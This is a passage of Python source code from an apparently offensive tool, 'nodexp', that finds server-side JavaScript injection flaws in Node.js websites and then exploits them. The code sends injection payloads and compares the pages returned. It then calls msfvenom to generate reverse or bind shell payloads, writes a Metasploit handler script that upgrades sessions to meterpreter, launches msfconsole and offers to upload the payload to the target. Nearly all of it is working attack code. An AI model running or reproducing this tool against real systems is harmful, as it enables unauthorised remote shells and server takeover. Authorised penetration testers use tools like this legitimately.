(payload: ' + settings.inject_here + ')' + Fore.WHITE + Style.NORMAL + ':') print('%s' % settings.hr) # SSJI begins.. verbosity.print_message( Fore.WHITE + Style.DIM + '[-] Starting injecting requests with current payload... ', settings.print_info) # Make request with payload payload_response = interfaces.make_request(parameter) # If HTTPError or BadStatusLine if settings.request_error == 1: settings.request_error = 0 # Next payload.. try_counter += 1 continue # Check for redirection on malicious request interfaces.check_redirection(payload_response[1], settings.technique) # Make valid request without payload valid_response = interfaces.make_request(settings.pre_url) # Check for expected keywords before injection with valid requests and ask for blind injection accordingly ask_blind = check_keywords_before_injection(valid_response[0]) if ask_blind == True: blind = interfaces.change_technique( settings.bl_prompt_message, settings.bl_options_message, settings.bl_alter_tech_msg, settings.bl_current_tech_msg) if blind == True: # Re-initialize input with [INJECT_HERE] settings.inject_here = settings.initial_inject_here blind_technique.blind_injection() sys.exit() break # Compare HTML results (both valid and injected requests) compare_html_pages(valid_response[3], payload_response[3]) # Next payload.. try_counter += 1 detection = injection_results(payload_response[2], expected_response, try_counter) # Website is vulnerable on SSJI if detection == 1: # Ask for starting exploitation ask_exploitation = interfaces.change_technique( settings.ex_prompt_message, settings.ex_options_message, settings.ex_alter_tech_msg, settings.ex_current_tech_msg) if ask_exploitation == True: exploitation.initialize_payload_options(True) except Exception as e: print(Fore.RED + "[!] ERROR: %s" % e) verbosity.error_info(e)
def injection_results(plaintext_result, expected_response, try_counter): try: try_no = format(try_counter - 1) if settings.print_info == 1: print Style.NORMAL + Fore.YELLOW + '[>]\n' message = Fore.YELLOW + '\n[<] Show injection (Try no. ' + try_no + ') results :' verbosity.print_message(message, 1) expected_payload = list( set(expected_response) ^ set(settings.error_responses)) # For any of the expected responses which exists in injected HTML response too! for payload in expected_response: if payload in plaintext_result: # If payload exists in HTML response before injection.. if payload in settings.responded_keys: # Response existed before injection. May be 'False Positive' message = Fore.RED + "[!] Response(s) '%s' existed before injection. High possibility for 'False Positive' assumption on this case!" % payload verbosity.print_message(message, 1) settings.invalid_responses.append(payload) # If payload exists in payload's dynamic response.. elif payload in expected_payload: # SSJI Done based on payload and it's dynamic response! message = Fore.GREEN + "[!] SSJI Done based on payload and it's dynamic response (%s)!" % payload verbosity.print_message(message, 1) settings.valid_responses.append(payload) # If payload exists in settings.error_responses.. elif payload in settings.error_responses: # SSJI Done based on error responses. May be 'False Positive' message = Fore.GREEN + "[!] SSJI Done based on error response (%s). Low possibility for 'False Positive' assumption on this case." % payload verbosity.print_message(message, 1) settings.valid_responses.append(payload) else: sys.exit( Fore.RED + 'ERROR: Payload response error. Check payloads.txt file for possible syntax errors.' ) # Noone of the expected responses found in injected HTML response! if not (settings.valid_responses) and not (settings.invalid_responses): message = Fore.RED + '[!] No remarkable responses. Website (' + settings.url + ')is NOT vulnerable on SSJI using "' + settings.inject_here + '" as payload and ' + settings.technique + 's based technique. Check payloads.txt file for possible syntax errors or change injection technique.\n' + Fore.YELLOW + '[>]' verbosity.print_message(message, 1) return 0 # If any of the expected responses found in the injected HTML response! elif (settings.valid_responses or settings.invalid_responses): # If both valid and invalid responses found... if settings.valid_responses and settings.invalid_responses: message = Fore.GREEN + '[i] Payload : ' + settings.inject_here + '\n[i] Valid Response(s): %s\n' % ( list(settings.valid_responses) ) + Fore.RED + '[i] Invalid Response(s): %s' % (list( settings.invalid_responses)) ask_blind = False # If only valid responses found... elif settings.valid_responses: message = Fore.GREEN + '[i] Payload : ' + settings.inject_here + '\n[i] Valid Response(s): %s' % ( list(settings.valid_responses)) ask_blind = False # If only invalid responses found... elif settings.invalid_responses: message = Fore.GREEN + '[i] Payload : ' + settings.inject_here + Fore.RED + '\n[i] Invalid Response(s): %s\n[i] Not sure if website is vulnerable or not. Blind injection technique might be more accurate in this case.' % ( list(settings.invalid_responses)) ask_blind = True verbosity.print_message(message, 1) if ask_blind == True: blind = interfaces.change_technique( settings.bl_prompt_message, settings.bl_options_message, settings.bl_alter_tech_msg, settings.bl_current_tech_msg) if blind == True: # Re-initialize input with [INJECT_HERE] for changing technique settings.inject_here = settings.initial_inject_here blind_technique.blind_injection() sys.exit() else: settings.valid_responses = [] settings.invalid_responses = [] return 0 else: settings.valid_responses = [] settings.invalid_responses = [] return 1 except Exception as e: print(Fore.RED + "[!] ERROR: %s" % e) verbosity.error_info(e)
def compare_html_pages(valid_html, infected_html): try: if settings.print_diff == 1: # Set info and prepare request if settings.print_info == 1: print Style.NORMAL + Fore.YELLOW + '[>]\n' if settings.request_method == 1: message = Style.NORMAL + Fore.YELLOW + '[<] Compare HTML response before ( ' + Fore.GREEN + settings.pre_url + Fore.YELLOW + ' ) \nand after ( ' + Fore.RED + settings.url + ', & ' + settings.inject_here + Fore.YELLOW + ' ) injection :' else: message = Style.NORMAL + Fore.YELLOW + '[<] Compare HTML response before ( ' + Fore.GREEN + settings.pre_url + Fore.YELLOW + ' ) \nand after ( ' + Fore.RED + settings.url + Fore.YELLOW + ' ) injection :' parameter = settings.inject_here verbosity.print_message(message, settings.print_info) # Compare valid and malicious requests' responses diff_lib = difflib.Differ() diff = diff_lib.compare(list(valid_html.stripped_strings), list(infected_html.stripped_strings)) comparison = list(diff) counter = 0 differences_removed = [] differences_added = [] differences = [] for i in comparison: first_char_comparison = comparison[counter][:1] if first_char_comparison == "-": splitted_comparison = comparison[counter].split("- ") differences_removed.append(splitted_comparison[1]) differences.append(splitted_comparison[1]) elif first_char_comparison == "+": splitted_comparison = comparison[counter].split("+ ") differences_added.append(splitted_comparison[1]) differences.append(splitted_comparison[1]) counter += 1 if settings.print_diff not in []: message = '[i] Removed content : \n' + Fore.WHITE + Style.DIM + '%s' % list( differences_removed) verbosity.print_message(message, settings.print_info) message = '[i] Added Content : \n' + Fore.WHITE + Style.DIM + '%s' % list( differences_added) verbosity.print_message(message, settings.print_info) # False negative error # No changes on html page based on your payload if not differences: print Fore.RED + '[i] HTML content does not seem to change based on your payload.' ask_blind = True else: ask_blind = False if ask_blind == True: blind = interfaces.change_technique( settings.bl_prompt_message, settings.bl_options_message, settings.bl_alter_tech_msg, settings.bl_current_tech_msg) if blind == True: # Re-initialize input with [INJECT_HERE] settings.inject_here = settings.initial_inject_here blind_technique.blind_injection() sys.exit() except Exception as e: print(Fore.RED + "[!] ERROR: %s" % e) verbosity.error_info(e)
def start_exploitation(): try: message = Fore.YELLOW + '\n[<] Generate exploitation files and run metasploit.' verbosity.print_message(message, settings.print_info) if settings.encoding[0] == 1: if settings.msf_payload == settings.msf_payload_reverse: proc = subprocess.Popen( "msfvenom -p " + settings.msf_payload + " LHOST=" + settings.lhost + " LPORT=" + str(settings.lport) + " -e " + settings.encode + " -o " + settings.payload_path + " >/dev/null 2>&1 ", shell=True).wait() else: proc = subprocess.Popen( "msfvenom -p " + settings.msf_payload + " LPORT=" + str(settings.lport) + " -e " + settings.encode + " -o " + settings.payload_path + " >/dev/null 2>&1 ", shell=True).wait() with open(settings.payload_path, "r+") as content_file: data = content_file.readlines() data = ''.join(data) data_string = str(data) data_string = data_string.lstrip() #data_string = base64.b64encode(data_string) data_string = data_string.encode('hex') file_data = content_file.read() content_file.seek(0, 0) content_file.write(settings.append_top + data_string + settings.append_bottom) settings.reverse_shell_payload = settings.append_top + data_string + settings.append_bottom # Generate payload without encoding ### UNENCODED CASE else: if settings.msf_payload == settings.msf_payload_reverse: proc = subprocess.Popen( "msfvenom -p " + settings.msf_payload + " LHOST=" + settings.lhost + " LPORT=" + str(settings.lport) + " -o " + settings.payload_path + " >/dev/null 2>&1 ", shell=True).wait() else: proc = subprocess.Popen("msfvenom -p " + settings.msf_payload + " LPORT=" + str(settings.lport) + " -o " + settings.payload_path + " >/dev/null 2>&1 ", shell=True).wait() with open(settings.payload_path, "r+") as content_file: data = content_file.readlines() data = ''.join(data) data_string = str(data) data_string = data_string.lstrip() content_file.seek(0, 0) payload = content_file.write(data) settings.reverse_shell_payload = data_string message = Fore.GREEN + "[i] Successfully generated payload file! [" + settings.payload_path + "]" verbosity.print_message(message, settings.print_info) # Remove and regenerate spool file settings.spool_file = settings.rc_path + ".output.txt" # Check if spool file already exists if os.path.exists(settings.spool_file) == True: try: os.remove(settings.spool_file) create_spool_file = open(settings.spool_file, "w+") message = Fore.GREEN + "[i] Successfully generated metasploit log file (spool file) [%s]" % settings.spool_file verbosity.print_message(message, settings.print_info) except Exception as e: print(Fore.RED + "[!] ERROR: %s" % e) verbosity.error_info(e) else: try: create_spool_file = open(settings.spool_file, "w+") message = Fore.GREEN + "[i] Successfully generated metasploit log file (spool file) [%s]" % settings.spool_file verbosity.print_message(message, settings.print_info) except Exception as e: print(Fore.RED + "[!] ERROR: %s" % e) verbosity.error_info(e) # .RC SCRIPT generation with open(settings.rc_path, 'w+') as filewrite: if settings.msf_payload == settings.msf_payload_reverse: filewrite.write( "use exploit/multi/handler\n" "set payload " + settings.msf_payload + "\n" "set lhost " + settings.lhost + "\n" "set lport " + str(settings.lport) + "\n" "set ExitOnSession true \n" "set InitialAutoRunScript 'post/multi/manage/shell_to_meterpreter' \n" "spool " + settings.spool_file + "\n" "exploit -j -z\n\n") elif settings.msf_payload == settings.msf_payload_bind: filewrite.write( "use exploit/multi/handler\n" "set payload " + settings.msf_payload + "\n" "set rhost " + settings.rhost + "\n" "set lport " + str(settings.lport) + "\n" "set ExitOnSession true \n" #"set InitialAutoRunScript 'post/multi/manage/shell_to_meterpreter' \n" "spool " + settings.spool_file + "\n" "exploit -j -z\n\n") else: filewrite.write( "use exploit/multi/handler\n" "set payload " + settings.msf_payload + "\n" "set lhost " + settings.lhost + "\n" "set lport " + str(settings.lport) + "\n" "set ExitOnSession true \n" #"set InitialAutoRunScript 'post/multi/manage/shell_to_meterpreter' \n" "spool " + settings.spool_file + "\n" "exploit -j -z\n\n") message = Fore.GREEN + "[i] Successfully generated .rc script! [%s]" % settings.rc_path verbosity.print_message(message, settings.print_info) # >/dev/null 2>&1 -> sends the output to garbage, # /dev/null is a black hole where any data sent will be discarded. Standar output (1) and standar error output (2) will be send there. message = Style.DIM + "[-] Opening metasploit console..." verbosity.print_message(message, settings.print_info) msfconsole = os.system( "xterm -e 'bash -c \"msfconsole -r %s; exec bash\"' &> /dev/null 2>&1" % settings.rc_path) message = Fore.GREEN + "[i] Successfully loaded metasploit!" verbosity.print_message(message, settings.print_info) if settings.msf_payload != settings.msf_payload_bind: exploitation_options_msg = ( Fore.WHITE + "[?] Please, select options above:\n (1) Upload the payload at '%s:%s' (current metasploit session); type: '1'\n (2) If you want to exit; type: '2'\n - " % (settings.lhost, settings.lport)) exploitation_options_invalid_input_msg = Fore.RED + 'Sorry, invalid input. Please, try again.' next_step = options.exploitation_options( exploitation_options_msg, exploitation_options_invalid_input_msg) else: exploitation_options_msg = ( Fore.WHITE + "[?] Please, select options above:\n (1) Upload the payload at '%s' (current metasploit session); type: '1'\n (2) If you want to exit; type: '2'\n - " % (settings.pre_url)) exploitation_options_invalid_input_msg = Fore.RED + 'Sorry, invalid input. Please, try again.' next_step = options.exploitation_options( exploitation_options_msg, exploitation_options_invalid_input_msg) if next_step == 2: start_exploitation() elif next_step == 3: initialize_payload_options() except Exception as e: print(Fore.RED + "[!] ERROR: %s" % e) verbosity.error_info(e)
def initialize_payload_options(start): try: # If some/all variables are not defined message = Fore.YELLOW + '[<] Initialize exploitation variables.' verbosity.print_message(message, settings.print_info) # Reverse shell case if settings.lhost == 'None' and settings.msf_payload != settings.msf_payload_bind: message = Fore.RED + '[!] LHOST not defined!' verbosity.print_message(message, settings.print_info) settings.lhost = str( payload_init.get_input( "[?] Please, set your local host ip.\n - ", "LHOST")) # Bind shell case if settings.msf_payload == settings.msf_payload_bind: rhost = settings.pre_url.rsplit(":", 1) settings.prefix_rhost = rhost[0] rhost_without_http = rhost[0].split("/") settings.rhost = rhost_without_http[2] message = Fore.GREEN + "[!] Setting automatically remote host: 'RHOST' = " + settings.rhost verbosity.print_message(message, settings.print_info) if settings.lport == 'None': message = Fore.RED + '[!] LPORT not defined!' verbosity.print_message(message, settings.print_info) settings.lport = str( payload_init.get_input("[?] Please, set your local port.\n - ", "LPORT")) else: input_answer = settings.lport settings.lport = payload_init.checkLPORT(input_answer) if settings.payload_path == 0: message = Fore.RED + '[!] PAYLOAD PATH not defined!' verbosity.print_message(message, settings.print_info) payload_path = payload_init.get_input( "[?] Please, set the PAYLOAD PATH.\n - ", "PAYLOAD PATH") settings.payload_path = '%s/nodejs_payload.js' % payload_path settings.payload_path = re.sub(r"\/+", "/", settings.payload_path) print settings.payload_path else: input_answer = settings.payload_path payload_path = settings.payload_path settings.payload_path = '%s/nodejs_payload.js' % payload_path settings.payload_path = re.sub(r"\/+", "/", settings.payload_path) if settings.rc_path == 0: message = Fore.RED + '[!] .RC SCRIPT PATH not defined!' verbosity.print_message(message, settings.print_info) rc_path = payload_init.get_input( "[?] Please, set the .RC SCRIPT PATH.\n - ", "RC SCRIPT PATH") settings.rc_path = '%s/nodejs_payload.js' % rc_path settings.rc_path = re.sub(r"\/+", "/", settings.rc_path) print settings.rc_path else: input_answer = settings.rc_path rc_path = settings.rc_path settings.rc_path = '%s/nodejs_shell.rc' % rc_path settings.rc_path = re.sub(r"\/+", "/", settings.rc_path) if settings.encoding[0] == 'None': message = Fore.RED + '[!] ENCODING not defined!' verbosity.print_message(message, settings.print_info) while settings.encoding[0] == 'None': settings.encoding = prompt.yesOrNo( "[?] Please, type a valid value for payload encoding.\n" + Fore.YELLOW + "[i] Enter 'y' for 'yes' or 'n' for 'no'.\n" + Fore.WHITE + " - ", Fore.GREEN + "[i] Payload will be encoded..", Fore.GREEN + "[i] Payload will be unecoded") # End process message = Fore.GREEN + '[!] Exploitation variables successfully defined!\n' + Fore.YELLOW + '[>]' verbosity.print_message(message, settings.print_info) if start == True: start_exploitation() except Exception as e: print(e) print(Fore.RED + "[!] ERROR: %s" % e) verbosity.error_info(e)
# Prepare nodexp if __name__ == '__main__': init() ''' try: init() except SystemExit: import sys sys.exit(0) except KeyboardInterrupt: import sys sys.exit(0) ''' # Start detection technique try: if settings.technique == 'result': print settings.start_result detection.start_detection() elif settings.technique == 'blind': print settings.start_blind blind_technique.blind_injection() else: exit(Fore.RED + "[!] ERROR: No detection technique specified!") except Exception as e: print(Fore.RED + "[!] ERROR: %s" % e) verbosity.error_info(e)